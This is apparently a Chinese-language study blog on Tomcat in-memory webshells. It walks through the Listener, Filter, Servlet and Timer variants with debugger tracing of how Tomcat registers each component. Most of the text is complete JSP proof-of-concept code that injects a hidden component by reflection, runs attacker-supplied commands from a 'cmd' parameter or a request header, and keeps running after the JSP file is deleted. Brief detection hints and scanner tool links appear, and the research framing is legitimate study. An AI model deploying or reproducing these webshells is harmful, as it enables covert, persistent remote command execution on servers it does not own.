构造🐎#

恶意Listener

import javax.servlet.ServletRequestEvent;  
import javax.servlet.ServletRequestListener;  
  
public class TestListener implements ServletRequestListener {  
    @Override  
    public void requestDestroyed(ServletRequestEvent sre) {  
        System.out.println("destroy TestListener");  
    }  
  
    @Override  
    public void requestInitialized(ServletRequestEvent sre) {  
        System.out.println("initial TestListener");  
    }  
}

引用恶意Listener

<listener>  
    <listener-class>TestListener</listener-class>  
</listener>

运行Tomcat得到结果

于是简单的Listener内存马便是注册恶意的java类，当Listener执行时触发，其中Request最方便被触发

Web应用程序启动时，Tomcat会创建一个ServletContext（也称为应用上下文），此时会触发ServletContextListener的contextInitialized方法。这个Listener会在Web应用中的任何Servlet被初始化之前执行。同样地，当Web应用停止时，会触发contextDestroyed方法。

通过继承EvenListener来实现接口，构造恶意类

另一种引入Listener的方式LifecycleListener： 实现了LifecycleListener接口的监听器一般作用于tomcat初始化启动阶段，此时客户端的请求还没进入解析阶段，不适合用于内存马 Tomcat 内存马（一）Listener型 - Atomovo - 博客园 (cnblogs.com)

关于ServletRequestListener:

用于接收有关请求进入和离开网络应用程序作用域的通知事件的接口。 ServletRequest 的定义是：当它即将进入网络应用程序的第一个 servlet 或过滤器时，即进入了网络应用程序的作用域；当它退出链中的最后一个 servlet 或第一个过滤器时，即离开了作用域。 为了接收这些通知事件，必须在网络应用程序的部署描述符中声明实现类，用 javax.servlet.annotation.WebListener 进行注解，或通过 ServletContext 上定义的 addListener 方法之一进行注册。 该接口的实现会按声明的顺序在 requestInitialized 方法中调用，并按相反顺序在 requestDestroyed 方法中调用。

只要请求访问服务（无论什么资源）便会被触发，非常好的入口点

注册🐎#

那么怎么把🐎儿放到靶机上呢？ 在输出initial TestListener的地方打断点

发现 调用Listener的名字被赋给了instances的第一项中 跳转到instances的源代码

发现是由getApplicationEventListeners()执行这一操作，Ctrl+点击查看方法，发现返回了applicationEventListenersList.toArray() 在下面(1283)的aadApplicationEventListeners中，我们的恶意listener被添加

public void addApplicationEventListener(Object listener) {  
    applicationEventListenersList.add(listener);  
}

所以我们只要执行该方法就可以将任意Listener注册 JSP概述——什么是JSP、JSP运行原理_jsp简介及工作原理-CSDN博客 jsp作为动态网页，可以运行java代码

在jsp中实现🐎#

获得StandardContext对象 i chi

<% Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext context = (StandardContext) req.getContext(); %>

ni

WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

目前可公开的🐎(bushi

<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>

<%!
	//定义新Listener
    public class MyListener implements ServletRequestListener {
        public void requestDestroyed(ServletRequestEvent sre) {
            HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
            if (req.getParameter("cmd") != null){
                InputStream in = null;
                try {
                    in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
                    //网页shell实现
                    Scanner s = new Scanner(in).useDelimiter("\\A");
                    String out = s.hasNext()?s.next():"";
                    Field requestF = req.getClass().getDeclaredField("request");
                    requestF.setAccessible(true);
                    Request request = (Request)requestF.get(req);
                    request.getResponse().getWriter().write(out);
                }
                catch (IOException e) {}
                catch (NoSuchFieldException e) {}
                catch (IllegalAccessException e) {}
            }
        }

        public void requestInitialized(ServletRequestEvent sre) {}
    }
%>

<%
	//使用了第一个方法获取StandardContext对象
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
    MyListener listenerDemo = new MyListener();
    context.addApplicationEventListener(listenerDemo);
    //可以看到调用了addApplicationEventListener
%>

存在内存🐎的jsp就算被删除也依然可用

当Listener被注册到Servlet容器（如Tomcat）时，它会持续运行，直到应用被停止或服务器重启。 Servlet容器（如Tomcat）通常设计为长期运行的服务，不会因为Web应用的某个文件被修改或删除而重启。只有当应用被完全停止或服务器本身重启时，所有相关的Listener和其他Servlet组件才会被销毁。

排除🐎#

1. 看日志
2. 存在空网页但返回200
3. 大量请求不同url但带有相同的参数
4. 较多的404但是带有参数的请求 …

构造🐎#

package com.orxiain;  
  
import javax.servlet.*;  
import java.io.IOException;  
  
public class MyFilter implements Filter{  
    @Override  
    public void init(FilterConfig filterConfig) throws ServletException {  
        System.out.println("Filter 初始构造完成");  
    }  
    //当web程序启动时，该方法调用一次
  
    @Override  
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {  
        System.out.println("执行了过滤操作");  
        filterChain.doFilter(servletRequest,servletResponse);  
    }  
  
    @Override  
    public void destroy() {  
  
    }  
}

xml修改

<filter>  
    <filter-name>MyFilter</filter-name>  
	<!--指定filter名字-->
    <filter-class>com.orxiain.MyFilter</filter-class>  
</filter>  
<filter-mapping>  
    <filter-name>MyFilter</filter-name>  
    <!--引用filter名称-->
    <url-pattern>/filter</url-pattern>  
    <!--指定过滤器应该拦截的URL模式。这里设置为`/filter`，意味着所有匹配`/filter`的请求都会被`TestFilter`过滤器拦截处理-->
</filter-mapping>

访问 http://127.0.0.1:8080/filter 后得到

调用🐎#

在doFilter处打断点，浏览器访问/filter后查看调用链

查看ApplicationFilterChain/internalDoFilter方法

当请求进入 Tomcat 并且与某个 URL 模式匹配时，对应的过滤器链会被激活

所有过滤器都被执行完毕后，再调用Servlet的service方法

接下来具体看看这个方法内容

做了个查看安全管理器是否打开的判断

这里用来判断是否还有过滤器没采用 pos的值指向不同的filter 这里的filterconfig中含有我们新建的Filter类

此时存在两个Filter

当两个filter都执行完毕，便用servlet.service(request, response);来处理请求，调用servlet实例

接下来看filter是如何被创建的 在dofilter()之前，程序进行了一连串的invoke操作

1. StandardEngineValue的invoke方法获取了pipeline，启动了针对特定 Host 的请求处理流程，我们步入跟随发现该invoke事实上又指定运行到了AbstractAccessLogValue中的invoke方法
2. AbstractAccessLogValue的invoke调用的其实也是接下来ErrorRepotValue中的invoke,之后就是一连串的invoke方法调用

为了看清楚最后dofilter前的invoke做了什么，我们在StandardEngineValue的invoke处打断点（或者更前面的invoke也行

跟进StandardEngineValue发现

步入跟入到ApplicationFilterFactory，createFilterChain方法，主要作用是创建一个新的ApplicationFilterFactory实例 将与URL匹配的filter添加进去，之后用来调用 这里URL匹配是通过matchFiltersURL实现

同时查看了Filtermaps是否匹配

FilterMap 的主要目的是在 Web 应用程序的 web.xml 文件中定义过滤器与特定请求之间的关联 就是我们定义在web.xml中的内容

最后判断了filterconfig是否为空，若为空则执行addFilter方法，将filter添加进去

可以看到运行后filterchain中filters的值0便是我们自己创建的MyFilter

至此，我们摸清了filter是如何被添加并执行的

利用链上🐎#

来自Tomcat Filter 型内存马流程理解与手写 EXP - FreeBuf网络安全行业门户这里用来解释和复现

StandardContext这个类是一个容器类，它负责存储整个 Web 应用程序的数据和对象，并加载了 web.xml 中配置的多个 Servlet、Filter 对象以及它们的映射关系。

filterConfig和filterMaps都是通过StandardContext得到的

根据上面流程我们只需要设置filterMaps、filterConfigs、filterDefs就可以注入恶意的filter

• filterMaps：一个HashMap对象，包含过滤器名字和URL映射
• filterDefs：一个HashMap对象，过滤器名字和过滤器实例的映射
• filterConfigs变量：一个ApplicationFilterConfig对象，里面存放了filterDefs

Maps ：Java 中的一个接口，它代表了一个键值对的集合，通过反射获取到Map后便可进行添加、修改和删除Filter的操作 Java反射—Field类使用 - 简书 (jianshu.com)

首先我们需要通过反射获取到StandardContext

ServletContext servletContext = request.getSession().getServletContext();
//通过当前会话获得到ServletContext对象
Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); 
//获取ServletContent的字段，并设置其为可访问的
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); 
//获取applicationContext对象
Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true);
// 同上，获取applicationContext的字段，并设置访问权限
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); 
//得到standardContext的对象
String FilterName = "cmd_Filter"; 
Configs = standardContext.getClass().getDeclaredField("filterConfigs"); 
//通过反射获取filterConfigs字段
Configs.setAccessible(true); 
filterConfigs = (Map) Configs.get(standardContext);
//通过反射获取standardContext中的filterConfigs的Map

setAccessible方法。是Field继承自AccessibleObject类，AccessibleObject是Field、Method、Constuctor类的父类。简单理解意思就是 如果类型是private修饰的，你不可以直接访问，就需要设置访问权限为true.如果是public则不需要设置。

接下来定义一个filter，用以执行命令并回显

Filter filter = new Filter()
    {@
        Override public void init(FilterConfig filterConfig) throws ServletException
        {}@
        Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException
            {
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                if(req.getParameter("cmd") != null)
                {
                    InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream(); // Scanner s = new Scanner(in).useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; servletResponse.getWriter().write(output); return; } filterChain.doFilter(servletRequest,servletResponse); } @Override public void destroy() { } };

设置filterdef与fitermap

//反射获取 FilterDef，设置 filter 名等参数后，调用 addFilterDef 将 FilterDef 添加  
Class <? > FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
//<? >表示FilterDef将持有任何类型的变量
Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
//Constructor类表示类的构造函数，通过getDeclaredConstructor()方法获取FilterDef的构造函数并传递给declaredConstructors
FilterDef o = (FilterDef) declaredConstructors.newInstance();
//创建了一个新的FilterDef实例o
o.setFilter(filter);
o.setFilterName(FilterName);
o.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(o);
//反射获取 FilterMap 并且设置拦截路径，并调用 addFilterMapBefore 将 FilterMap 添加进去  
Class <? > FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Constructor <? > declaredConstructor = FilterMap.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterMap o1 = (FilterMap) declaredConstructor.newInstance();
o1.addURLPattern("/*");
o1.setFilterName(FilterName);
o1.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(o1);

创建FilterConfig

Class <? > ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
//反射获取FilterConfig类
Constructor <? > declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class, FilterDef.class);
//获得filterconfig的构造函数，传入了两个Context和FilterDef的class对象
declaredConstructor1.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext, o);
filterConfigs.put(FilterName, filterConfig);
response.getWriter().write("Success");

结合以上并写成jsp文件

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>

<%
    final String name = "orxiain";
    // 获取上下文
    ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);

    if (filterConfigs.get(name) == null){
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {

            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                if (req.getParameter("cmd") != null) {
                    boolean isLinux = true;
                    String osTyp = System.getProperty("os.name");
                    if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                        isLinux = false;
                    }
                    String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")};
                    InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                    Scanner s = new Scanner( in ).useDelimiter("\\a");
                    String output = s.hasNext() ? s.next() : "";
                    servletResponse.getWriter().write(output);
                    servletResponse.getWriter().flush();
                    return;
                }
                filterChain.doFilter(servletRequest, servletResponse);
            }

            @Override
            public void destroy() {

            }

        };

        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());
        standardContext.addFilterDef(filterDef);

        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());

        standardContext.addFilterMapBefore(filterMap);

        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

        filterConfigs.put(name, filterConfig);
        out.print("Inject Success !");
    }
%>
<html>
<head>
    <title>filter</title>
</head>
<body>
    Hello Filter
</body>
</html>

这里将jsp文件放在webapps/ROOT下，开启服务器访问

排除🐎#

Java安全的一些工具 https://github.com/alibaba/arthas https://github.com/LandGrey/copagent https://github.com/c0ny1/java-memshell-scanner

构造🐎#

顾名思义，Servlet型内存马是构造恶意Servlet服务进行攻击的方式

Servlet接口类型：

1. init(ServletConfig config)：Servlet 初始化函数。初始化时 ServletConfig 会被传入
2. ServletConfig getServletConfig()：获取 ServletConfig 对象
3. service(ServletRequest req, ServletResponse res)：收到请求后的执行方法
4. String getServletInfo()：返回此 Servlet 的描述信息
5. void destroy()：Servlet 的销毁方法

继承Servlet接口并在service函数处写上rce

package com.orxiain;  
import javax.servlet.*;  
import javax.servlet.annotation.WebServlet;  
import java.io.IOException;  
  
// 基础恶意类  
public class ServletTest implements Servlet {  
    @Override  
    public void init(ServletConfig config) throws ServletException {  
  
    }  
  
    @Override  
    public ServletConfig getServletConfig() {  
        return null;  
    }  
  
    @Override  
    public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {  
        String cmd = req.getParameter("cmd");  
        if (cmd !=null){  
            try{  
                Runtime.getRuntime().exec(cmd);  
            }catch (IOException e){  
                e.printStackTrace();  
            }catch (NullPointerException n){  
                n.printStackTrace();  
            }  
        }  
    }  
  
    @Override  
    public String getServletInfo() {  
        return null;  
    }  
  
    @Override  
    public void destroy() {  
  
    }  
}

web.xml配置

<!-- Servlet定义 -->  
<servlet>  
    <servlet-name>MyServlet</servlet-name>  
    <servlet-class>com.orxiain.ServletTest</servlet-class>  
</servlet>  
  
<!-- Servlet映射 -->  
<servlet-mapping>  
    <servlet-name>MyServlet</servlet-name>  
    <url-pattern>/MyServlet</url-pattern>  
</servlet-mapping>

访问Servlet得到

调用🐎#

断点下到新建的Servlet的init方法

（会发现Filter和Listener跑完才到Servlet）

connector.getService().getContainer().getPipeline().getFirst().invoke(  
        request, response);

上🐎#

获取StandardContext类 用Context.creatWapper()创建StandardWrapper对象 有了StandardWrapper对象后，我们可以对其Servlet属性进行修改 主要修改：loadOnStartup,ServletName,ServletClass 修改后添加到StandardContext的children中，之后启动进程 最后通过StandardContext.addServletMappingDecoded()添加对应的路径映射

来自Tomcat Servlet 型内存马流程理解与手写 EXP - FreeBuf网络安全行业门户

获取StandardContext对象

<% Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext standardContext = (StandardContext) req.getContext(); %>

通过req.getContext()方法获取了当前请求所属的StandardContext对象 or

<% ServletContext servletContext = request.getSession().getServletContext(); Field appContextField = servletContext.getClass().getDeclaredField("context"); appContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext); Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext); %>

编写恶意Servlet

<%!
public class Shell_Servlet implements Servlet {
  @Override
  public void init(ServletConfig config) throws ServletException {
  }
  @Override
  public ServletConfig getServletConfig() {
    return null;
  }
  @Override
  public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
    String cmd = req.getParameter("cmd");
    if (cmd !=null){
      try{
        Runtime.getRuntime().exec(cmd);
      }catch (IOException e){
        e.printStackTrace();
      }catch (NullPointerException n){
        n.printStackTrace();
      }
    }
  }
  @Override
  public String getServletInfo() {
    return null;
  }
  @Override
  public void destroy() {
  }
}
%>
}</SCRIPT></HEAD>
<BODY></BODY>
</HTML>

获取恶意Servlet的对象并通过反射得到name，通过standardContext.createWrapper()创建wrapper对象并对其Servlet属性进行修改

<%
Shell_Servlet shell_servlet = new Shell_Servlet();
String name = shell_servlet.getClass().getSimpleName();

Wrapper wrapper = standardContext.createWrapper();
wrapper.setLoadOnStartup(1);
wrapper.setName(name);
wrapper.setServlet(shell_servlet);
wrapper.setServletClass(shell_servlet.getClass().getName());
%>

通过standardContext.addChild方法将wrapper添加到children中，并添加url与Servlet的映射

<%
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/shell",name);
%>

完整poc

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
%>

<%!
public class Shell_Servlet implements Servlet {
  @Override
  public void init(ServletConfig config) throws ServletException {
  }
  @Override
  public ServletConfig getServletConfig() {
    return null;
  }
  @Override
  public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
    String cmd = req.getParameter("cmd");
    if (cmd !=null){
      try{
        Runtime.getRuntime().exec(cmd);
      }catch (IOException e){
        e.printStackTrace();
      }catch (NullPointerException n){
        n.printStackTrace();
      }
    }
  }
  @Override
  public String getServletInfo() {
    return null;
  }
  @Override
  public void destroy() {
  }
}
%>

<%
Shell_Servlet shell_servlet = new Shell_Servlet();
String name = shell_servlet.getClass().getSimpleName();

Wrapper wrapper = standardContext.createWrapper();
wrapper.setLoadOnStartup(1);
wrapper.setName(name);
wrapper.setServlet(shell_servlet);
wrapper.setServletClass(shell_servlet.getClass().getName());
%>

<%
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/servletshell",name);
%>

首先访问Servlet.jsp，对恶意Servlet进行注册

之后 http://127.0.0.1:8080/servletshell?cmd=calc

排除🐎#

Servlet类型内存马通过url进行触发，是在客户机请求的情况下，请求与响应内容更容易暴露，一般看日志就能发现

构造🐎#

来自JavaWeb 内存马二周目通关攻略 | 素十八 (su18.org)的代码

<%@ page import="java.io.IOException" %>  
<%@ page contentType="text/html;charset=UTF-8" language="java" %>  
<%  
    out.println("timer jsp shell");  
    java.util.Timer executeSchedule = new java.util.Timer();  
    executeSchedule.schedule(new java.util.TimerTask() {  
        public void run() {  
            try {  
                Runtime.getRuntime().exec("calc");
            } catch (IOException e) {  
                e.printStackTrace();  
            }  
        }  
    }, 0, 10000);  
%>

访问一遍jsp来注入马儿

! 运行后每十秒弹一个计算器，就算把Timer.jsp删除后依然在弹

🐎の原理#

ava.util.Timer executeSchedule = new java.util.Timer();新建了一个Timer对象 之后每10s运行一次规定任务

我们知道，JSP本质上在运行时作为Servlet扩展被Tomcat解析为Java源文件，之后进行编译，被JspServletWrapper封装后映射将路径在JspRuntimeContext，生成可执行的Servlet类，Timer定时任务会创建一个Timer的线程

判断文件是否删除、是否更改、是否需要重新编译等等判断信息进行相关的处理是在访问这个jsp地址时被处理的 若发现jsp发生更改 ，JspServletWrapper会重新封装

! 被删除jsp文件后，Timer线程依然一直运行，所以不会触发jvm的GC机制

Timer🐎得益于使用了原生Timer类，具有很好的隐蔽性 那么那么如何使用这个方法来制造可RCE并回显的jsp文件呢？ 我们知道Timer可以做到重复运行代码，那么可以让这段代码读取请求头中特定键值对中的命令并回显在网页

上🐎#

<%@ page import="java.util.List" %>  
<%@ page import="java.lang.reflect.Field" %>  
<%@ page import="java.util.ArrayList" %>  
<%@ page import="java.util.HashSet" %>  
<%@ page contentType="text/html;charset=UTF-8" language="java" %>  
<%!  
    public static List<Object> getRequest() {  
        try {  
            Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads"));  
  
            for (Thread thread : threads) {  
                if (thread != null) {  
                    String threadName = thread.getName();  
                    if (!threadName.contains("exec") && threadName.contains("http")) {  
                        Object target = getField(thread, "target");  
                        if (target instanceof Runnable) {  
                            try {  
                                target = getField(getField(getField(target, "this$0"), "handler"), "global");  
                            } catch (Exception var11) {  
                                continue;  
                            }  
  
                            List processors = (List) getField(target, "processors");  
  
                            for (Object processor : processors) {  
                                target = getField(processor, "req");  
  
                                threadName = (String) target.getClass().getMethod("getHeader", String.class).invoke(target, new String("exec-cmd"));  
                                if (threadName != null && !threadName.isEmpty()) {  
  
                                    Object       note = target.getClass().getDeclaredMethod("getNote", int.class).invoke(target, 1);  
                                    Object       req  = note.getClass().getDeclaredMethod("getRequest").invoke(note);  
                                    List<Object> list = new ArrayList<Object>();  
                                    list.add(req);  
                                    list.add(threadName);  
                                    return list;  
                                }  
                            }  
                        }  
                    }  
                }  
            }  
        } catch (Exception ignored) {  
        }  
  
        return new ArrayList<Object>();  
    }  
  
    private static Object getField(Object object, String fieldName) throws Exception {  
        Field field = null;  
        Class clazz = object.getClass();  
  
        while (clazz != Object.class) {  
            try {  
                field = clazz.getDeclaredField(fieldName);  
                break;  
            } catch (NoSuchFieldException var5) {  
                clazz = clazz.getSuperclass();  
            }  
        }  
  
        if (field == null) {  
            throw new NoSuchFieldException(fieldName);  
        } else {  
            field.setAccessible(true);  
            return field.get(object);  
        }  
    }  
%>  
<%  
    final HashSet<Object> set = new HashSet<Object>();  
    java.util.Timer executeSchedule = new java.util.Timer();  
    executeSchedule.schedule(new java.util.TimerTask() {  
        public void run() {  
            List<Object> list = getRequest();  
            if (list.size() == 2) {  
                if (!set.contains(list.get(0))) {  
                    set.add(list.get(0));  
                    try {  
                        Runtime.getRuntime().exec(list.get(1).toString());  
                    } catch (Exception e) {  
                        e.printStackTrace();  
                    }  
                }  
            }  
        }  
    }, 0, 100);  
%>

来自于su18师傅

! 这样用 关于复现很奇怪，发包10几次才有一次正常弹出计算器，目前不知道是哪儿的问题，不过反弹shell、反序列化是够了